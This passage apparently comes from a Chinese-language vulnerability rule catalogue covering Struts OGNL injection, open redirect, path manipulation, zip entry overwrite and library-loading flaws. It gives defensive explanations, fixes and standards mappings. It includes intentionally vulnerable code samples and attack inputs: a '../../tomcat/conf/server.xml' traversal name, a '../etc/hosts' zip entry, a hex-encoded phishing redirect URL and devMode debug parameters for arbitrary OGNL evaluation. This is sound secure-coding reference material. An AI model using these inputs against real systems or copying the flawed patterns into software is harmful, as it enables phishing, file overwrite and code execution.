[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
OGNL Expression Injection: Double Evaluation
ABSTRACT
双重 OGNL 评估允许攻击者在控制第一次评估的输出时,评估任意 OGNL 表达式。
EXPLANATION
如果攻击者无法直接控制某个 OGNL 表达式,但可以影响评估结果,则评估该表达式的应用程序不应重新评估第一次评估的输出。否则,攻击者可以控制要在第二次 OGNL 评估中评估的表达式,并注入任意 OGNL 表达式。
示例 1:this.name 表示 Struts 标签名称属性。在下面的示例中,name 属性将在同一方法中被评估两次,第一次评估的输出将被重新评估。
1 | ... |
即使在 JSP 标签中对 name 属性的值进行硬编码,如果攻击者能够控制该属性评估的输出(例如:%{parameters.locale}),则他们仍将能够控制传递到第二次评估的表达式,进而评估任意 OGNL 表达式。
RECOMMENDATIONS
避免双重 OGNL 评估问题的最佳方法是禁止 OGNL 表达式评估构成链。如果上述方法不可行,应执行输入验证以防止评估恶意表达式。
REFERENCES
[1] Struts 2 - Security Bulletin S2-029 Apache Struts
[2] Struts 2 - Security Bulletin S2-036 Apache Struts
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
OGNL Expression Injection: Dynamic Method Invocation
ABSTRACT
Struts 2 应用程序在部分 Struts 2 版本中启用已知易受 OGNL 注入攻击的“动态方法调用”。
EXPLANATION
Struts 2 引入了一种称为“动态方法调用”的功能,该功能允许 Action 暴露方法而非 execute()。!(感叹号)字符或 method: 前缀可用于 Action URL,在启用“动态方法调用”的情况下,可调用 Action 中的任何公共方法。在 Struts 2 版本 2.3.20 中,调用先前基于反射的备选方法的机制替换为使用 OGNL,使得攻击者能够提供恶意 OGNL 表达式,而非备选方法名称。
RECOMMENDATIONS
Struts 2.3.1.1 之后,引入了一种新的配置属性禁用“动态方法调用”功能。为了禁用此功能,请使用 struts.enable.DynamicMethodInvocation 属性作为 Struts 2 属性设置:
1 | <constant name="struts.enable.DynamicMethodInvocation" value="false" /> |
或在 struts.properties 中:
1 | struts.enable.DynamicMethodInvocation = false |
或在 web.xml 的 Struts 2 过滤器中包含此参数节点:
1 | <init-param> |
REFERENCES
[1] Struts 2 Security Vulnerability - Dynamic Method Invocation
[2] Struts 2 - Dynamic Method Invocation Apache Struts
[3] Struts 2 - Security Bulletin S2-032 Apache Struts
[4] Struts 2 - Security Bulletin S2-033 Apache Struts
[5] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-2 Flaw Remediation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010 A1 Injection
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
OGNL Expression Injection: Struts 2
ABSTRACT
在开发模式 (devMode) 下部署应用程序将允许在服务器上执行任意命令,并将泄露应用程序如何编码的详细信息。
EXPLANATION
Struts 2 中带有名称为 devMode(开发模式)的设置。启用此设置时,Struts 2 将提供额外的日志记录和调试信息,这些信息可以显著加速开发,但可能对性能和安全性造成巨大的影响。devMode 将提高调试级别,或对普通模式中通常不会抛出的、可忽略的问题报告异常。
devMode 也能够启用一些调试功能,以允许开发人员检查存储在值堆栈中的变量。这些功能可以使用 debug 的请求参数来触发:
debug=console 将弹出 OGNL 评估控制台,允许开发人员在服务器上评估任意 OGNL 表达式。
debug=command 将允许开发人员通过使用请求参数 expression 提交要评估的任意 OGNL 表达式。
debug=xml 可以将参数、上下文、会话和值堆栈转储为 XML 文档。
debug=browser 可以将参数、上下文、会话和值堆栈转储在可浏览的 HTML 文档中。
RECOMMENDATIONS
devMode 默认为禁用,并且绝不能在生产环境中启用,因为该模式允许攻击者收集有关应用程序的太多信息以及在服务器上执行任意命令。要确保未启用 devMode,验证常量 struts.devMode 没有在以下任何配置文件中设置为 true:
在 struts.xml 配置文件或包含的文档中:
<constant name="struts.devMode" value="true" />
在 struts.properties 中:
`struts.devMode = true`
在 web.xml 中:
1 | <filter> |
REFERENCES
[1] Apache Struts 2 Documentation - devMode
[2] Apache Struts 2 Documentation - Debugging
[3] Meder Kydyraliev Milking a horse or executing remote code in modern Java frameworks
[4] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Open Redirect
ABSTRACT
如果允许未验证的输入控制重定向机制所使用的 URL,可能会有利于攻击者发动钓鱼攻击。
EXPLANATION
通过重定向,Web 应用程序能够引导用户访问同一应用程序内的不同网页或访问外部站点。应用程序利用重定向来帮助进行站点导航,有时还跟踪用户退出站点的方式。当 Web 应用程序将客户端重定向到攻击者可以控制的任意 URL 时,就会发生 Open redirect 漏洞:
攻击者可以利用 Open redirect 漏洞诱骗用户访问某个可信赖站点的 URL,并将他们重定向到恶意站点。攻击者通过对 URL 进行编码,使最终用户很难注意到重定向的恶意目标,即使将这一目标作为 URL 参数传递给可信赖的站点时也会发生这种情况。因此,Open redirect 常被作为钓鱼手段的一种而滥用,攻击者通过这种方式来获取最终用户的敏感数据。
例 1:以下 JSP 代码会在用户打开链接时,指示用户浏览器打开从 dest 请求参数中解析的 URL。
1 | <% |
如果受害者收到一封电子邮件,指示该用户打开 “http://trusted.example.com/ecommerce/redirect.asp?dest=www.wilyhacker.com” 链接,用户有可能会打开该链接,因为他会认为这个链接将转到可信赖的站点。然而,一旦用户打开该链接,上面的代码会将浏览器重定向至 “http://www.wilyhacker.com“。
很多用户都被告知,要始终监视通过电子邮件收到的 URL,以确保链接指向一个他们所熟知的可信赖站点。尽管如此,如果攻击者对目标 URL 进行 16 进制编码: “http://trusted.example.com/ecommerce/redirect.asp?dest=%77%69%6C%79%68%61%63%6B%65%72%2E%63%6F%6D”
那么,即使再聪明的最终用户也可能会被欺骗,打开该链接。
RECOMMENDATIONS
不应当允许未验证的用户输入控制重定向机制中的目标 URL。而应采用间接方法:创建一份合法 URL 列表,用户可以指定其中的内容并且只能从中进行选择。利用这种方法,就绝不会直接使用用户提供的输入来指定要重定向到的 URL。
例 2:以下代码引用了一个通过有效 URL 传播的数组。用户单击的链接将通过与所需 URL 对应的数组索引来传递。
1 | <% |
但在某些情况下,这种方法并不可行,因为这样一份合法 URL 列表过于庞大、难以跟踪。这种情况下,有一种类似的方法也能限制用于重定向用户的域,这种方法至少可以防止攻击者向用户发送恶意的外部站点。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 601
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2010 A10 Unvalidated Redirects and Forwards
[8] Standards Mapping - OWASP Top 10 2013 A10 Unvalidated Redirects and Forwards
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 601
[16] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 601
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Content Spoofing
[28] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)
Path Manipulation
ABSTRACT
允许用户输入控制文件系统操作所用的路径会导致攻击者能够访问或修改其他受保护的系统资源。
EXPLANATION
当满足以下两个条件时,就会产生 path manipulation 错误:
攻击者可以指定某一文件系统操作中所使用的路径。
攻击者可以通过指定特定资源来获取某种权限,而这种权限在一般情况下是不可能获得的。
例如,在某一程序中,攻击者可以获得特定的权限,以重写指定的文件或是在其控制的配置环境下运行程序。
示例 1:以下代码使用来自于 HTTP 请求的输入来创建一个文件名。程序员没有考虑到攻击者可能使用像“../../tomcat/conf/server.xml”一样的文件名,从而导致应用程序删除它自己的配置文件。
1 | String rName = request.getParameter("reportName"); |
例 2: 下面的代码使用来自于配置文件的输入来决定打开哪个文件,并返回给用户。如果程序在一定的权限下运行,且恶意用户能够篡改配置文件,那么他们可以通过程序读取系统中以 .txt 扩展名结尾的所有文件。
1 | fis = new FileInputStream(cfg.getProperty("sub")+".txt"); |
有些人认为在移动世界中,典型的漏洞(如 path manipulation)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
例 3:以下代码将例 1 改编为适用于 Android 平台。
1 | ... |
RECOMMENDATIONS
防止 path manipulation 的最佳方法是采用一些间接手段:例如创建一份合法资源名的列表,并且规定用户只能选择其中的文件名。通过这种方法,用户就不能直接由自己来指定资源的名称了。
但在某些情况下,这种方法并不可行,因为这样一份合法资源名的列表过于庞大、难以跟踪。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] FIO00-J. Do not operate on files in shared directories CERT
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 22, CWE ID 73
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - MISRA C 2012 Rule 1.3
[7] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[10] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[11] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[12] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[13] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[20] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 426
[21] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 022
[22] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 022
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[33] Standards Mapping - Web Application Security Consortium 24 + 2 Path Traversal
[34] Standards Mapping - Web Application Security Consortium Version 2.00 Path Traversal (WASC-33)
Path Manipulation: Zip Entry Overwrite
ABSTRACT
如果允许用户输入控制 file system 操作所用的路径,攻击者将可以在系统上的任意位置对文件进行随意覆盖。
EXPLANATION
在打开和扩展 ZIP 文件但未检查 ZIP 条目的文件路径时,会出现路径篡改:ZIP 条目覆盖错误。
示例 1:以下示例从 ZIP 文件中提取文件并将其写入磁盘。
1 | private static final int BUFSIZE = 512; |
以上示例中,在此条目的数据上执行读取/写入函数前未验证 zipEntry.getName()。这意味着,如果 ZIP 文件最初放置在基于 Unix 的计算机的“/tmp/”目录中(ZIP 条目为“../etc/hosts”),并且应用程序在必要的权限下运行,则其将覆盖系统的 hosts 文件。这将进一步导致计算机的信息流可以按照攻击者的意愿到达任何位置,例如,返回至攻击者的计算机。
RECOMMENDATIONS
防止通过 ZIP 文件进行路径篡改的最佳方式是采取一种间接方法:创建 ZIP 条目可以写入的合法路径名称的列表,然后写入至与 ZIP 条目位置相符的文件。通过这种方式,用户在 ZIP 中提供的输入绝不会直接用于指定文件位置。
在此示例中,这种方式可能并不可行。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。 在这种情况下,诸如 java.io.File.getCanonicalPath() 等 API 可以用于检索规范形式的文件路径,从而可用于检查文件将写入到的目录。
示例 2:以下是用于检查所创建文件名是否位于程序员指定目录中的实用程序函数。
1 | public class MyFileUtils{ |
示例 3:以下示例使用了上述示例 2 来修复示例 1。
1 | private static final int BUFSIZE = 512; |
REFERENCES
[1] IDS04-J. Safely extract files from ZipInputStream CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 22, CWE ID 73
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 426
[17] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 022
[18] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 022
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Path Traversal
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Path Traversal (WASC-33)
Process Control
ABSTRACT
从一个不可信赖的数据源或是不可信赖的环境中加载库,会导致应用程序以攻击者的名义执行恶意代码。
EXPLANATION
Process control 漏洞主要表现为以下两种形式:
— 攻击者可以篡改程序加载的库的名称:攻击者直接地控制库所使用的名称。
— 攻击者可以篡改库加载的环境:攻击者间接控制库名称的含义。
这种情况下,我们主要考虑第一种情况,攻击者可能控制加载的库的名称。这种类型的 Process control 漏洞会在以下情况中出现:
数据从不可信赖的数据源进入应用程序。
数据作为代表应用程序所加载的库的一个或部分字符串使用。
通过在库中执行代码,应用程序授予攻击者在一般情况下无法获得的权限或能力。
例 1:以下代码来自于一个具有特别权限的系统实用程序,使用系统属性 APPHOME 来确定系统的安装目录,然后用基于指定目录的相对路径加载本地库。
1 | ... |
这段代码允许攻击者加载库,并通过修改系统属性 APPHOME,指向一个包含恶意版本 LIBNAME 的不同路径,从而使用较高的应用程序权限去执行任意代码。由于程序不会验证从环境中读取的值,所以如果攻击者能够控制系统属性 APPHOME 的值,他们就能欺骗应用程序去运行恶意代码从而取得系统控制权。
例 2:以下代码使用 System.loadLibrary() 从名为 library.dll 的本地库加载代码,它通常可以在标准的系统目录中找到。
1 | ... |
这里的问题是,对于要加载的库来说,System.loadLibrary() 只会接受库的名称,而不接受库的路径。根据 Java 1.4.2 API 文档,这个函数会进行如下操作 [1]:
可以从库文件能够正常获取的本地 file system 中加载含有本地代码的文件。这一过程的具体操作需在特定的条件下执行。从库名称到某一个特定文件名的映射是在特定的系统方式下完成的。
在搜索顺序方面,如果攻击者将一份恶意的 library.dll 放在高于应用程序需要加载的文件的位置,那么应用程序就会加载该恶意代码,而不会选择加载最初需要的文件。由于应用程序的这一特性,它会以较高的权限运行,这就意味着攻击者的 library.dll 内容将以较高的权限运行,从而可能导致攻击者完全控制整个系统。
RECOMMENDATIONS
不要允许用户控制由程序加载的库。若加载库的选择一定要涉及用户输入的话,通常情况下,应用程序会期望这个特定的输入是一个很小的数值集合。而不是依赖输入的安全性以及不包含任何恶意信息。因此,应用程序所使用的输入应该仅从一个预先决定的、安全的库的集合中进行选择。如果输入看上去是恶意的,则应该将即将加载的库限制在这一集合的安全数值范围之内,或由程序拒绝继续执行该操作。
攻击者可以通过篡改环境间接地控制程序加载的库。我们不应当完全信赖环境,还需采取预防措施,防止攻击者利用某些控制环境的手段进行攻击。如果可能,库名称应由应用程序控制,并使用一个传递到 System.load() 的绝对路径进行加载。应该避免 System.loadLibrary(),因为它的行为不能独立实现。如果编译时不清楚具体的路径,应该在执行的过程中利用可信赖的数值构造一个绝对路径。应对照一系列定义有效参数的不变量对从环境中读取的库名称和路径进行仔细的检查。
有时还可以执行其他校验,以检查环境是否已被恶意篡改。例如,如果一个配置文件为可写,程序可能会拒绝运行。如果事先已知有关要加载的库的信息,程序就会执行检测,以校验文件的有效性。如果一个库应始终归属于某一特定用户,或者被分配了一组特定的权限,则可以在加载库之前,对这些属性进行校验。
最后,不可能对程序提供百分之百的保护,来防止强大的攻击者控制其所加载的库。对输入参数和环境可能执行的任何操作,都应努力鉴别并加以保护。其目标就是尽可能地防范各种攻击。
REFERENCES
[1] Java 1.4.2 API Documentation Sun Microsystems
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 114, CWE ID 494
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - MISRA C 2012 Rule 1.3
[6] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[10] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[11] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[12] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
